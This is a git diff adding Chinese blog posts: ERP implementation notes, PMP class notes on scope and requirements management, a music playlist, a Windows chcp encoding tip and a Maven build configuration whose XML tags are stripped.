(6.6 Develop Schedule) + 		+ 6.7 控制进度
(6.7 Control Schedule) +
+ 7. 项目成本管理
(7. Project Cost Management) + 		+ 7.1 规划成本管理
(7.1 Plan Cost Management) +
+ 7.2 估算成本
(7.2 Estimate Costs) +
+ 7.3 制定预算
(7.3 Determine Budget) + 		+ 7.4 控制成本
(7.4 Control Costs) +
+ 8. 项目质量管理
(8. Project Quality Management) + 		+ 8.1 规划质量管理
(8.1 Plan Quality Management) + 		+ 8.2 实施质量保证
(8.2 Perform Quality Assurance) + 		+ 8.3 控制质量
(8.3 Control Quality) +
+ 9. 项目人力资源管理
(9. Project Human Resource Management) + 		+ 9.1 规划人力资源管理
(9.1 Plan Human Resource Management) + 		+ 9.2 组建项目团队
(9.2 Acquire Project Team) +
+ 9.3 建设项目团队
(9.3 Develop Project Team) +
+ 9.4 管理项目团队
(9.4 Manage Project Team) +
+ 10. 项目沟通管理
(10. Project Communications Management) + 		+ 10.1 规划沟通管理
(10.1 Plan Communications Management) + 		+ 10.2 管理沟通
(10.2 Manage Communications) + 		+ 10.3 控制沟通
(10.3 Control Communications) +
+ 11. 项目风险管理
(11. Project Risk Management) + 		+ 11.1 规划风险管理
(11.1 Plan Risk Management) +
+ 11.2 识别风险
(11.2 Identify Risks) +
+ 11.3 实施定性风险分析
(11.3 Perform Qualitative Risk Analysis) +
+ 11.4 实施定量风险分析
(11.4 Perform Quantitative Risk Analysis) +
+ 11.5 规划风险应对
(11.5 Plan Risk Responses) + 		+ 11.6 控制风险
(11.6 Control Risks) +
+ 12. 项目采购管理
(12. Project Procurement Management) + 		+ 12.1 规划采购管理
(12.1 Plan Procurement Management) + 		+ 12.2 实施采购
(12.2 Conduct Procurements) + 		+ 12.3 控制采购
(12.3 Control Procurements) + 		+ 12.4 结束采购
(12.4 Close Procurements) +
+ 13. 项目干系人管理
(13. Project Stakeholder Management) + 		+ 13.1 识别干系人
(13.1 Identify Stakeholders) + 		+ 13.2 规划干系人管理
(13.2 Plan Stakeholder Management) + 		+ 13.3 管理干系人参与
(13.3 Manage Stakeholder Engagement) + 		+ 13.4 控制干系人参与
(13.4 Control Stakeholder Engagement) +
diff --git a/_posts/2017-03-29-236-erp-22.md b/_posts/2017-03-29-236-erp-22.md new file mode 100644 index 0000000..4ec5e07 --- /dev/null +++ b/_posts/2017-03-29-236-erp-22.md @@ -0,0 +1,80 @@ +--- +layout: post +title: 22 ERP实施的12个基本观念 +pid: 236 +tags: [ERP] +--- +主题： ERP实施的12个基本观念 + +# 打造ERP四大基石，要做好八件事情 + +（人、流程、数据、工具） + +1. 组件ERP项目团队 +2. 组织ERP培训 +3. 描述和设计ERP的主流程和支流程 +4. 整理基础数据 +5. 做好ERP选型 +6. 流程优化与设置 +7. 数据的整理与导入 +8. 操作培训 + + +# 被动实施的三个层面 + +1. 业务部门相对于IT部门的被动 +2. 内部员工相对于外部顾问的被动 +3. 业务部门使用起来比较被动 + +（ERP实施中常用语：进去是垃圾、出来也是垃圾） + + +# 被动实施的十个问题 + +## 项目前期的四个问题 + +1. 员工培训不到位 +2. 流程优化不到位 +3. 软件选型不到位 +4. 数据整理不到位 + + +## 实施中的三个问题 + +5. 没有掌握好项目的主动权 +6. 没有控制好实施进度 +7. 没能充分利用顾问价值 + +## 上线后的三个问题 + +8. 业务部门没有积极使用ERP系统 +9. 业务部门没有灵活使用ERP系统 +10. 业务部门应用ERP的时候缺乏全局思维 + +# 主动实施的三个关键 + +1. 培养业务部门对ERP的积极态度 +2. 坚持实施人员等于用户的原则 （谁用谁实施） +3. 业务部门决策，顾问和IT参与 + +# 主动实施需要思考的五个问题 + +1. 如何搭建好ERP的组织架构？ +2. 如何用好ERP的外部实施顾问？ +3. 如何组织有效的企业级ERP培训？ +4. 如何做好ERP系统的选型工作？ +5. 如何制定好ERP项目的进度计划？ + +# 观念为什么如此重要？ + +什么样的观念就会带来什么样的决定，什么样的决定就会带来什么样的行动，什么样的行动就会带来什么样的结果。 + +观念 --> 决定 --> 行动 --> 结果 + +学习改变观念，观念改变行动，行动改变未来！ + +# ERP实施中最重要的12个观念 + +1. 要想把ERP实施好、用好，一定要有全局思维能力 + 全局的学习 + 规避“筒仓效应” diff --git a/_posts/2017-04-01-237-erp-07.md b/_posts/2017-04-01-237-erp-07.md new file mode 100644 index 0000000..8e43ab0 --- /dev/null +++ b/_posts/2017-04-01-237-erp-07.md @@ -0,0 +1,62 @@ +--- +layout: post +title: 07 ERP四大基石-数据 +pid: 237 +tags: [ERP] +--- +主题： ERP项目四大基石-数据 + +没有一套ERP系统可以解决企业的所有问题，但是一定有一套系统是最适合企业的。 + +怎么样把这套最适合企业的ERP系统找出来？ +1. 描述主流程 +2. 描述支流程 +3. 优化和设计流程 + +主干道：数量少、流量大 + +分支道路：数量多、流量少 + +设计：学习 + +如何ERP系统里面的数据有问题，那么后果就比没有数据更加糟糕。 + +# 数据的类型 + +1. 静态数据（短时间内不会发生变化，手工维护、系统上线之前整理好） +2. 动态数据（ERP后台自动维护，初始值手工维护、ERP上线后维护整理） +3. 交易数据（采购流程，业务单据上的数据） +4. 统计数据（给管理人员看，对交易数据的分类统计） +5. 绩效指标数据（对流程的运行进行监控，所以监控是事先设定的指标，监控交易数据） + +# ERP的主要作用是管理。 + +管理指的是管物理财。 + +管物：原材料、半成品、产成品 + +理财：往来账、成本 + +主文件：物料主文件、物料清单文件，供应商主文件和客户主文件。 + +数据：静态数据、动态数据、统计数据 + +1. 静态数据：物料编码、物料名称、物料说明、物料计量单位 +2. 动态数据：库存数量、应付账款、应收账款 +3. 交易数据：采购订单上的数据、入库单上的数据、采购发票上的数据、付款凭据上的数据 +4. 统计数据：采购订单数据汇总、入库单数据汇总、采购发票数据汇总、付款凭据数据汇总 +5. 绩效指标数据：监控交易数据、监控统计数据 + +# 五类数据间的关系 +1. 静态数据是为交易数据服务的 +2. 交易数据更新动态数据 +3. 交易数据形成统计数据 +4. 绩效指标数据监控交易数据和统计数据 + + +# ERP数据总结 +1. 静态数据：物料的编码、物料的名称、物料的说明以及物料的计量单位 +2. 动态数据：物料的库存数量、应收账款的余额、应付账款的余额 +3. 交易数据：业务单据上面的数据 +4. 统计数据：对交易数据进行统计 +5. 绩效指标数据：监控交易数据和统计数据 diff --git a/_posts/2017-04-01-238-erp-08.md b/_posts/2017-04-01-238-erp-08.md new file mode 100644 index 0000000..a5c2ebc --- /dev/null +++ b/_posts/2017-04-01-238-erp-08.md @@ -0,0 +1,31 @@ +--- +layout: post +title: 08 ERP四大基石-工具 +pid: 238 +tags: [ERP] +--- +主题： ERP项目四大基石-工具 + +# 描述未来业务流程的三个步骤 + +1. 整理流程清单 +2. 描述流程 +3. 设计流程 + +实施顾问是做不好流程规划与设计的工作的。 + +如果企业不把ERP项目当回事，那么将来ERP系统也不会把企业当回事。 + +ERP里的数据有错误，要比没有数据更可怕。 + +所以，我们需要有流程经理。 + +评价一套ERP系统的七个方面： + +1. 看**主流程**的覆盖面 +2. 看**支流程**的覆盖面 +3. 看对流程的**控制能力** +4. 看系统的数据**集成性** +5. 看系统的**易操作性** +6. 看系统的**运行速度** +7. 看系统的**稳定性** diff --git a/_posts/2017-04-08-239-erp-23.md b/_posts/2017-04-08-239-erp-23.md new file mode 100644 index 0000000..6a9ebe3 --- /dev/null +++ b/_posts/2017-04-08-239-erp-23.md @@ -0,0 +1,95 @@ +--- +layout: post +title: 23 ERP项目的十二个基本概念（二） +pid: 239 +tags: [ERP] +--- +主题： ERP项目的十二个基本概念（二） + +# 要想把ERP实施好、用好，一定要有全局思维能力 + +1. 全局思维的培养要靠全局的学习才能培养 +2. 实现部门业务与财务业务的一体化 + +# ERP项目不是一个传统IT软件项目 + +传统IT软件项目的七个特点： + +1. 项目的主角是IT人员； +2. 不需要高层领导的直接参与； +3. 软件的功能比较简单； +4. 项目的投入不是很大； +5. 不需要前期培训； +6. 不会冲击企业现有的管理模式； +7. 实施成功率比较高 + +# ERP项目是一个改革管理模式的项目 + +在ERP的管物理财的模式里面，要决定如何做好四件事情。 + +ERP的管理模式是**管物、理财**的管理模式。 + +1. 要决定如何管理企业的每一个物料。 +2. 要决定如何管理企业的每一项成本。 +3. 要决定如何管理企业的每一笔资金。 +4. 要决定如何对企业内外的物流和资金流进行控制。 + +企业在非ERP环境下的管物理财的模式，一般都不是很好，因为缺乏一个有效的管理工具，也就是缺乏一个有效的信息化管理平台。 + + +# 物料的三级管理模式 + +1. 仓库 +2. 货位/库位 +3. 序列号/批号 + +# ERP要求员工用不同的方式来处理工作 + +如果思考方式和工作习惯不改变，就不能得到新工具带给我们的好处。 + +**任何一种新工具使用，就一定会有流程的改变。** + +# ERP项目是关于人的项目 + +1. 员工思考模式和工作方式的改变，是整个ERP项目中最难做好的一件事情。 +2. ERP项目是一个关于人的项目，一定是人的培养在先，ERP系统的使用在后。 +3. 对ERP项目来说，直接给业务部门一套ERP系统是不能解决问题的。 + +# 要坚持实施人员等于用户的原则 + +在ERP项目中，如果企业坚持实施人员等于用户的原则，就是采取主动实施的方式。 + +# ERP没有实施好会得到四个结果 + +1. 没有学到多少ERP技能 +2. 要接管一个ERP烂摊子 +3. 要看领导的脸色 +4. 要收拾一个ERP烂摊子 + +# 高层领导要有改革创新的精神 + +1. ERP项目是一个改革管理模式的项目，而每一项改革要想取得成功，要想落到实处，就都有创新的因素在里面。 +2. ERP项目的创新，是手动管理模式进入到ERP的管理模式，需要改变思考方式以及工作习惯。 + +**需要企业创新的是企业员工的思考方式和工作习惯。** + +# 二次开发、企业个性化 + +## 二次开发的四个弊端 + +1. 提高实施成本 +2. 延长实施周期 +3. 很难与原系统无缝集成 +4. 不利于系统升级 + +## 二次开发两条基本原则 + +1. 不要再实施阶段做功能上的二次开发 +2. 如果一定要二次开发，最好等到系统上线以后。 + +# 企业个性化 + +1. 基础管理 --- 不需要个性化，因为企业都差不多，比如会计相关。 +2. 企业文化 --- 可以个性化 +3. 经营战略 --- 可以个性化 +4. 企业制度 --- 可以个性化 diff --git a/_posts/2017-04-08-240-erp-10.md b/_posts/2017-04-08-240-erp-10.md new file mode 100644 index 0000000..7742edc --- /dev/null +++ b/_posts/2017-04-08-240-erp-10.md @@ -0,0 +1,66 @@ +--- +layout: post +title: 10 ERP项目需要做好的八件事情 +pid: 240 +tags: [ERP] +--- +主题： ERP项目需要做好的八件事情 + +# ERP项目上线所要达到的目标 + +1. 选了一套适合企业发展的ERP系统 +2. 企业的业务流程已经优化好了，并固化在系统里 +3. 相关业务数据已经整理好了，并且已经导入系统 +4. 各级员工非常认可并且熟悉这一套系统 + +# ERP项目需要做好的八件事情 + +## 项目前期 + +1. 组建项目团队 +2. 组织ERP培训 +3. 描述和设计业务流程 +4. 整理基础数据 +5. ERP选型 + +## 实施阶段 + +6. 流程的优化与设置 +7. 数据的整理与导入 +8. 操作培训 + +静态数据：物料主文件、物料清单主文件 +动态数据：（期初数据） + +**最好安排在双休日或者放长假的时候去上线** + +**不要等一个合适的上线日期** + + + +# 项目前期整理数据的三个好处 + +1. 缩短实施周期 +2. 可以提高数据整理的质量 +3. 可以在选型的时候派上用场 + +# ERP学习教室配置 + +1. 书面的ERP学习资料 +2. 一台服务器和多台电脑终端 +3. 一名管理员 + +# ERP教室管理员需要具备的条件 + +1. ERP基本功扎实 +2. 乐于帮助别人 + +**这个教室，只要不影响正常使用，谁都可以用** + +## ERP实施的操作培训分三个阶段 + +1. 虚拟静态数据和虚拟动态数据 +2. 真实静态数据和虚拟动态数据 +3. 真实静态数据和真实动态数据 + +**由一线用户来决定能否上线** diff --git a/_posts/2017-04-15-241-music.md b/_posts/2017-04-15-241-music.md new file mode 100644 index 0000000..108a7c0 --- /dev/null +++ b/_posts/2017-04-15-241-music.md @@ -0,0 +1,83 @@ +--- +layout: post +title: 音乐功能之：社会功能 +pid: 241 +tags: [音乐] +--- + +周海宏-音乐何须懂 + +音乐功能之：社会功能 + +影响人的情绪 + +调节人的行为 + +减轻精神压力 + +改变环境氛围 + +影响社会和谐 + +八个专辑 + +# 第一辑：提神明快的 + +适合早上起床听 + +Quatuor No. 1 in D Major, TWV 43/D3 (from "Nouveaux quatuors en six suites, 1738") : I. Prélude (Vivement) by Wilbert Hazelzet + +https://pan.baidu.com/s/1bpGhdRh + + +# 第二辑：兴奋活泼的 + +适合下午2点左右听 + +Suite No.2 In B Minor, BWV 1067: 7. Badinerie by Sir Neville Marriner + +https://pan.baidu.com/s/1eSaJ6cq + + +# 第三辑：激昂振奋的 + +适合下午4、5点听 + +Under The Double Eagle [Instrumental] by John Williams, Boston Pops Orchestra + +https://pan.baidu.com/s/1hs1JKFE + +# 第四辑：平和安静的 + +适合下班后回家，找本书，把自己埋到沙发里听 + +Goldberg Variations; BWV 988: Aria by Glenn Gould + +https://pan.baidu.com/s/1c12XCdE + +# 第五辑：催眠减压的 + +Gentle Season by Dean Evenson, Li Xiangting + +https://pan.baidu.com/s/1o7Ei41W + +# 第六辑：优美惬意的 + +暂无 + +# 第七辑：温柔浪漫的 + +Méditation de Thaïs by Arthur Grumiaux + +https://pan.baidu.com/s/1bpgVnwN + +# 第八辑：深沉感人的 + +Piano Concerto No. 5 in E flat major Op. 73 - "Emperor": No. 2. Adagio un poco mosso by Vladimir Ashkenazy + +https://pan.baidu.com/s/1dFHyUid + +贝多芬的第五钢琴协奏曲 第二章 + +致我永恒的恋人 + diff --git a/_posts/2017-04-19-242-cmd.md b/_posts/2017-04-19-242-cmd.md new file mode 100644 index 0000000..475a64a --- /dev/null +++ b/_posts/2017-04-19-242-cmd.md @@ -0,0 +1,17 @@ +--- +layout: post +title: 在Windows的CMD中如何设置支持UTF8编码? +pid: 242 +tags: [windows] +--- + +# 在Windows的CMD中如何设置支持UTF8编码? + +1. chcp 65001 就是换成UTF-8代码页 +2. chcp 936 可以换回默认的GBK +3. chcp 437 是美国英语 + + +# 参考 + +[在Windows的CMD中如何设置支持UTF8编码?](http://www.cnblogs.com/lcword/p/5854226.html) diff --git a/_posts/2017-04-19-243-mvn-pom.md b/_posts/2017-04-19-243-mvn-pom.md new file mode 100644 index 0000000..da65a33 --- /dev/null +++ b/_posts/2017-04-19-243-mvn-pom.md @@ -0,0 +1,195 @@ +--- +layout: post +title: 如何编译出你想要的jar包？ +pid: 243 +tags: [maven] +--- + +# maven-jar-plugin -- 主要目的是生成 Jar包中的 MANIFEST.MF，和对应的jar包 + + + maven-jar-plugin + + + spring/* + *.xml + *.properties + + + **/ + + + + true + lib/ + com.baoguoding.ServerNodeRun + + + ./conf/ + + + + + + +# maven-resources-plugin -- 主要是管理resource相关内容 + + + maven-resources-plugin + 2.6 + + + copy-resources + package + + copy-resources + + + ${basedir}/target/conf + + + src/main/resources + + + + + + + +# maven-compiler-plugin -- 这个是编译器相关配置 + + + org.apache.maven.plugins + maven-compiler-plugin + 2.3.2 + + 1.7 + 1.7 + UTF-8 + + + + +# maven-javadoc-plugin -- 这个是javadoc相关配置 + + + org.apache.maven.plugins + maven-javadoc-plugin + 2.9 + + true + UTF-8 + UTF-8 + UTF-8 + + + + deploy + + jar + + false + + + + +# maven-dependency-plugin -- 这个是依赖相关管理 + + + org.apache.maven.plugins + maven-dependency-plugin + + + copy-dependencies + package + + copy-dependencies + + + provided + ${project.build.directory}/lib + false + false + true + + + + + + +# maven-surefire-plugin -- Resolve: 执行maven test命令时console出现中文乱码 + + + org.apache.maven.plugins + maven-surefire-plugin + 2.7.2 + + once + -Dfile.encoding=UTF-8 + true + + + + +# maven-assembly-plugin -- 按照自己的要求来打zip包 + + + maven-assembly-plugin + + + false + + src/main/build/package.xml + + + + + make-assembly + package + + single + + + + + + +# package.xml -- zip包相关的配置 + + + + package + + zip + + true + + + bin + / + + + src/main/resources + / + + + ${project.build.directory} + / + + *.jar + + + + + + lib + runtime + + ${groupId}:${artifactId} + + + + diff --git a/_posts/2017-04-22-244-pmp-01.md b/_posts/2017-04-22-244-pmp-01.md new file mode 100644 index 0000000..ca06ab8 --- /dev/null +++ b/_posts/2017-04-22-244-pmp-01.md @@ -0,0 +1,232 @@ +--- +layout: post +title: 现代卓越201706班20170422笔记 +pid: 244 +tags: [pmp] +--- + +# 什么是项目 + +## 项目的临时性 +1. 项目是会结束的 +2. 团队是临时的 +3. 零时性不代表项目的时间短 +4. 可交付成果不具备临时性 + +## 项目结束的几种情况 +1. 正常终止 +2. 异常终止 + a. 目标不可达（猴子捞月） + b. 需求不存在（不谈恋爱，不知道自己性取向） + c. 客户要求终止（卖房子，不继续装修） + +# 项目的渐进明细性 + +1. 项目目标 ---- 造投影笔 +2. 产品范围 ---- 一个产品应该具有的特性和功能 +3. 项目范围 ---- 围绕产品范围，所要做的事情 + +# 项目为什么会失败 +1. 计划失败（比如，猴子捞月，本PMP不讨论，主要是do the right thing） +2. 实际失败（如何用正确的方法，来做事情，至于事情是不是正确的，就不管了） + +# 需求收集的失败 +1. 所问非人 ---- 比如看病，不是利害关系者 +2. 正确的人 + a. 自己不知道正确的需求 + b. 知道，但是讲不出 + c. 知道，也能讲清楚，但是，我不讲 + + +# 项目管理 +1. 范围、时间和成本，当中至少要有一条是由项目经理控制的，否则这个项目经理会很憋屈，建议不做。 +2. 项目类型 + a. 传统的瀑布型，范围是一定的，进度和成本是可变的。 + b. 敏捷型，进度和成本是一定的，但是范围是可变的。 + + +# 范围 +1. 客户要求你做什么-----> 是需求，存在虚假共识 +2. 我能做什么----> 能满足客户的哪些要求 + +# 成本 != 钱，比如时间成本 + +# 人力资源 +团队等同于团伙，但是团队是由干系人定义的do the right things，都是有协作，有目标的 + +# 沟通 ---- 最重要的是听 +1. 有效果的沟通和有效率的沟通是不同的。 +2. 沟通的三种形式 + a. 语言 7% + b. 附语言+非语言 93% + +# 干系人：佛（拿着钱的人） + +# 采购（5R） +在正确的时间（Time），正确的地点(Place)，正确的价格(Price)，买到正确的数量(Quality)的正确质量(Quantity)的东西。 + + +# 风险：不确定性 +1. 已知 +2. 未知 + +# 项目、项目集、项目组合的关系 +战略> Group > Set(PMO) > Project + +# PMO可以是一个物理组织也可以是一个逻辑组织 + + +# 运营和项目的区别 +1. 运营是从有到更好，产生同样的结果，并持续进行 +2. 项目是从无到有，在规定的时间内，产生不同的结果 + +# SWOT +1. 开拓型 +2. 防御型 +3. 分析型 +**通过项目来提高整个公司的运营水平** + +# 商业价值 +运营和项目都是实现公司的战略计划 + +# 文化 +1. 图腾 ----> 文化 +2. 熟人文化：靠道德来维系， 生人文化：靠法律来维系 + +# 项目组织结构 +1. 职能型 ---- 沟通效率不高，协调是由部门职能经理来完成 +2. 矩阵型 + a. 弱矩阵 ---- 项目上没有专业的项目经理，也就是名不正言不顺，权责不对等。 + b. 平衡矩阵 ---- 名正言顺，权责对等，问题是项目经理向职能经理汇报，由项目经理和职能经理共同完成 + c. 强矩阵 ---- 矩阵中归两个人管理，手表定理，双重汇报 +3. 项目型 ---- 员工没有归属感、缺乏职业纪律 + +# 事业环境因素 +1. 项目经理无法选择，无法控制，无法回避 +2. 【公司的工作授权系统】 比如某某挂了，某某直接顶上。中美总统的例子。 +3. 【干系人风险承受能力】 ---- 林志颖的例子 + +# 项目干系人管理 +在项目中在项目中享有利益的人，利益、激励、风险都是中性词，可以是消极的也可以是积极的。 + +十二字真言：全部识别、重点管理、尽早参与 +1. 发起人 +2. *M +3. 项目团队 + a. 项目管理团队 === 项目经理 + b. 项目实施团队 === 项目成员 +4. 竞争对手 +5. 客户/用户 但是客户 != 用户 + +重点管理 +**不同干系人起到的作用的程度是不一样的** + + +# 项目阶段和项目生命周期 +1. 顺序结构 +每个阶段进入前，需完成前一个阶段。 +每个阶段结束都需要完成这个阶段所需完成的内容。 +2. 交叠结构 + +# 项目生命周期特征 + +所有的项目呈现相同的生命周期结构，但不具备相同的生命周期。 + +# 生命周期模型 +1. 预测型生命周期：waterfall 瀑布模型，只要任何一个环节出错了，就做不下去了。 +2. 迭代和增量型生命周期： 螺旋结构 +3. 适应型生命周期：敏捷开发，对待变化的态度是积极的。 + + +# 项目管理过程 + +**实际使用中需要裁剪** + +# 项目管理过程与产品导向过程 +1. 项目管理过程： 所有领域的。PMBOK是以这个作为基础的。 +2. 产品导向过程：是针对特定领域的，比如结婚、生孩子。 + +# 项目管理过程间的作用关系 + +**没有计划，及没有变化，做计划是为了识别变化** + + +# 制定项目章程 +1. 甲方提供项目工作说明书 +2. 乙方出商业论证，可行性研究，比如机会研究 +3. 协议：备忘录-----> 有了备忘录，就可以开始工作。 + +#内部r: 只要考试出现，直接选择选择15%。 + +# 项目章程内容 +**凡是假设，都是真的** + +# 指定项目管理计划 +顺序是：总分总 + +# 指导与管理项目执行 +1. 没有发生，预防措施 +2. 已经发生 + a. 是否针对过程----> 纠正措施 + b. 是否针对结果----> 缺陷修复 +3. 更新计划（比如法律系统） + + +# 指导与管理项目执行 +1. 会议 + 会前：制定议程 + 会中：议程把控 + 会后：？ +启动大会（initial）：发布项目章程，任命项目经理，是启动过程的最后。 +开工大会(kickof)：明确发布计划，项目规划末期。 + +2. 可交付结果 +有形或无形，但必须都是可验证的。 + +3. 工作绩效数据：是最真实、也是最原始的。 +这边有3点：数据、信息、报告，其中报告最重要，是针对项目经理而言的。 屡战屡败、屡败屡战的例子。 + +# 监控项目工作 +让干系人了解项目当前状态 ------> 让干系人不明觉厉。 + +# 实施整体变更控制 +1. 变更的代价，应该是由团队来评估的，包括PM和项目团队。 +2. 工作绩效报告，如果好，则容易通过。 +3. 变更日志： 否决变更等都在这里。 +4. + +# 变更管理的流程 +1. CCB:用于批准和否决变更，定期会召开的一种会议的组织，一般由公司高层组成，PM不一定在里面。 +变更是可以口头提出的。 + +如果考试遇到如下关键字，则选择： +口头提出-----书面 +书面------影响分析 +批准------更新项目管理、更新日志 +项目已经结束----就是拒绝 + +基准变更指的是：范围、进度和成本。 + +注意：紧急CCB,因为CCB是定期召开的。 + +# 主要项目管理工具 + +1. 工作授权系统-----什么人，在什么时间，按什么顺序完成什么工作。 +2. 沟通属于信息管理系统 +3. 配置管理---针对的是配置项 + +# 结束项目或阶段 + +**异常终止，一定要找到原因** + +# 项目收尾 + +1. 验收的可交付成果------及时是异常收尾，也有可交付成果。都是必须验收的。（例子：正在装修的房子要卖掉） +2. 分析技术------回归分析 +3. 最终产品、服务或成果移交-------移交给甲方（内部：发起人， 外部：客户） + + +# 结束项目或阶段 ---- 输出 +项目档案： files，可以归档的，不在用的。 +项目文件：documents, 在用的 +经验教训是会花时间和资源的。 diff --git a/_posts/2017-04-23-245-pmp-02.md b/_posts/2017-04-23-245-pmp-02.md new file mode 100644 index 0000000..8b3fb5e --- /dev/null +++ b/_posts/2017-04-23-245-pmp-02.md @@ -0,0 +1,275 @@ +--- +layout: post +title: 现代卓越201706班20170423笔记 +pid: 245 +tags: [pmp] +--- + +# 项目范围管理 + +1. 收集需求----客户要的是什么 +2. 定义范围----我能做什么 +3. 创建WBS----我怎么才能做到【定义范围】中的内容 +4. 确认范围/控制范围----验收和确认 + +范围明确： 用瀑布模型， 范围不明确：敏捷-----release train(如果没有更新，也会上车，叫做质量提升) + +# 项目范围管理--序 + +1. 产品范围---不关注人的问题，可以是有形的，也可以是无形的（投影笔的风格） +2. 项目范围---关注的是人的范围，比如团队建设。 + +# 规划范围管理 +没有当前项目范围，只有怎么做才能产生项目范围。 +1. 程序性计划：中国的立法程序----应该怎么做可以产生实体性计划 +2. 实体性计划：地铁规范 + +第5/6/7/11中都是程序性的，所以输入中，都有下面四个输入项： +1. 项目管理计划 +2. 项目章程 +3. .... + +# 需求管理计划 +##客户需求管理（客户要你做什么） +1. 需求定义 + a. 需求获取---是最难的，比如所闻非人---找准关键干系人；对的人，不知道自己要什么---装修要温馨；对的人，知道，但是说不出---望闻问（开放式提问、封闭式提问）切（检查）；对的人，也知道，但是不想讲---干系人管理没有做好 + b. 需求分析 + c. 需求定义：断句：下雨天留我不留 + d. 需求验证：和客户确认，比如传统行业的SRS(需求规格说明书)，比如敏捷中的User Story，3C(Conversation, confirmation， ？) +2. 需求管理 + a. 对需求变更的管理 + b. 对需求的跟踪 + c. 管理干系人的期望“决定阶段关系” + +这边老师讲了3个例子，用来描述需求困惑。 +1. 老师有秋千的例子。 +2. 小明打鸟的例子。 +3. 餐厅点餐，宫保鸡丁的例子。 + +虚假共识，用的是美国回娘家，中午去餐厅吃饭的例子。 + +# 虚假共识--阿比勒尼悖论 +1. 需求的虚假共识---阿比勒尼悖论 + a. 华氏100°（37.7°）、一家五口 + b. 50英里（90公里）、老式无空调汽车 +2. 只有明确的（可测量和可测试）、可跟踪的、完整的、相互协调的，且主要干系人愿意认可的需求，才能作为基准。 +3. 需求SMART原则： + a. Specific 具体的 + b. Measurable可测量的 + c. Attainment可达到的 + d. Relevant符合利益的 + e. Time 有时间限制的 + +# 头脑风暴与名义小组 --- 建议10人以下 +头脑风暴（Brain Storming, BS）法又称智力激励法，是现代创造奠基人美国奥斯本提出的，是一种创造能力的集体训练法。 +1. 禁止批评和评论，也不要自谦 +2. 目标集中，追求设想数量越多越好 +3. 鼓励巧妙的利用和改善他人的设想 +4. 与会人员一律平等，各种设想全部记录下来 +5. 主张独立思考，不允许私下交流，以免干扰别人的思维。 +6. 提倡自由发言，畅所欲言，任一思考。 +**注意：同级参加，任何人只能发表自己的观点，不能对别人的观点发表意见** + +# 名义小组 --- 投票，排序 + +# 德尔菲法(P61)：匿名---如果有领导参加 + +# World Cafe: 是对头脑风暴的改进，针对人数特别多的时候，类似于名义小组+头脑风暴， +比如100人参加，分10组，每组选取一个组长，然后10人10分钟交流，然后组长总结，然后组长不变，其余9人交换到其他组。 +总的来说，就是打散、讨论、总结统计，三轮之后，最后投票选出Top 3. + +# 停车场---是敏捷中的一个小技巧，指的是，将观点先放里面focus 主要内容先，是集中式思维。 + +# 访谈---特点，一对一，可以获取机密信息 + +# 焦点小组----一对多，同一职能领域的专家SME + +# 引导式研讨会----一对多，跨职能领域的 +1. JAD,联合应用开发， +2. QFD,质量功能展开， + +# 头脑风暴----见老师图片 + +# 思维导图 --- 见老师图片，主要是用于发散性思维。 +把从头脑风暴中获取的创意，整合成一张图的技术，以反映创意之间的共性与差异，激发创意。 + + +# 亲和图 +对大量创意进行分组的技术，以便进一步审查和分析。 + +# 一致同意 --- 匿名，100%同意 + +# 大多数原则 ---- 民主，超过50%同意 + +# 相对多数原则---- 马云7% + +# 独裁 ---- ？ + + +# 问卷调查 --- 要找准对象 + +# 观察 +1. 工作跟踪 --- 被动观察 +2. 参与观察者 --- 主动观察 + +# 原型法 +1. 进化型 ---- 举例：软件模型，仅用于获取需求 +2. 抛弃原型 ---- 举例：鸟巢模型 + +# 标杆对照 +举例： 样板间，这边需要考虑未来因素 + +# 定义范围 ---- 我们能做什么 + +1. 输入： 项目章程----客户的制约，比如成本、时间；需求文件：客户怎么验证 +2. 我为什么要进行产品分解？ + a. 直观感觉 + b. 有助于弥补和大品牌的劣势： 1） 低认知模式--比如情怀，BMW的例子，苹果的例子 2） 高认知模式 ---- 性价比 +3. 备选方案识别： 头脑风暴：用于集思广益； 横向思维：比如绕道走和CPU多核技术；备选方案分析：5元的求婚 + +# 项目范围说明书 --- 乙方给甲方的承诺，双方未来合作的基础，要用除外责任，也就是定义范围时用的是白名单。 +项目章程的验收是客户提出来的，项目范围说明书的验收是内部验收，内容要比外部严格的多。 + +# 创建WBS --- 针对要做的事，划分为更小的工作单元，划分的方式是多种的，比如，生成工艺的工序，比如组件，比如，地域位置。 +**范围基线---是由客户或发起人来批准的，是三合一的： 详细说明书，WBS,以及WBS词典。 + +# 关于WBS +1. 第2层次的WBS：按生命周期、组件、地域位置等来划分 +2. 中间交付的成果： 不能独立于最终可交付成果而独立存在的。 +3. 编码原则： a. 可以精确定位，比如班上有2个相同的名字， b. 限制了大概的范围，比如5.3.3.3 +4. 细节实体可交付成果： 可独立存在 + +# WBS词典实例 --- 对WBS的一个解释,是WBS不可缺少的部件 + +# 关于分解和WBS +**80小时原则：一个人2个礼拜可以完成** + +# WBS +缺点是：各个点之间没有顺序和依赖关系，仅仅是工作和要做的事情。 + +# 控制账户CA +1. 较高层次领导人关注的内容。 +2. 可以和财务系统对接，项目经理的一个管理层面。 + +# 确认范围 +1. 验证：内部对质量的控制，他关注的是内容做的够不够。 +2. 验收：外部（客户、发起人）对范围的确认、核实；关注的是内容做的是不是。 + +**通过验证不一定通过验收， 通过验收，一定通过验收；验证和验收可以同时进行（比如：装修时的防水）** + + +# 确认范围 +## 输入 +1. 需求问题：用于确认是否是需求问题。 +2. 需求跟踪矩阵： 是否是过程问题。 + +## 输出 +1. 验收的可交付成果 ---- 验收通过 +2. 变更申请 ---- 验收不通过 +客户要的与我们做的：a. 客户就是不验收，是因为干系人管理不到位；(这本书不讨论)b. 你做的不是客户想要的，比如：一开始需求就是错的，所以在定义需求的时候需要增加验收环节。再比如：过程出了问题，用审计。 + +也就是说：检查（Check）针对的是结果，审计(Audit)针对的是过程。 + +# 范围控制 +1. 外部要求： 法律、法规的变化，不可控因素，比如：外汇在国外买房子这件事，以前可以，现在不行。 +2. 计划时的漏洞、失误：比如是WBS漏项。 +3. 增值变更： 比如20年人工挖和，现在用机械。 + +# 控制范围 +**不该做的事情，越做越多** + +# 范围控制 --- 工具和技术 +偏差分析：偶发------一般不考虑， 必现-----需要考虑到纠正措施中，因为产生的偏差，不管是好坏偏差，都需要分析。 + +# 进度管理计划 +1. 计量单位： 钱的计量单位更重要，汇率的波动有风险，比如老师帮别人带东西。 +2. 控制临界值：在允许的范围内，为正负10% + +# 活动的定义 --- WBS工作包组成活动 +1. 活动是过程。 +2. 事件是里程碑，只是结果或状态。 + +比如打人是过程，把人打死就是里程碑。 + +# 活动定义 +1. 分解 --- 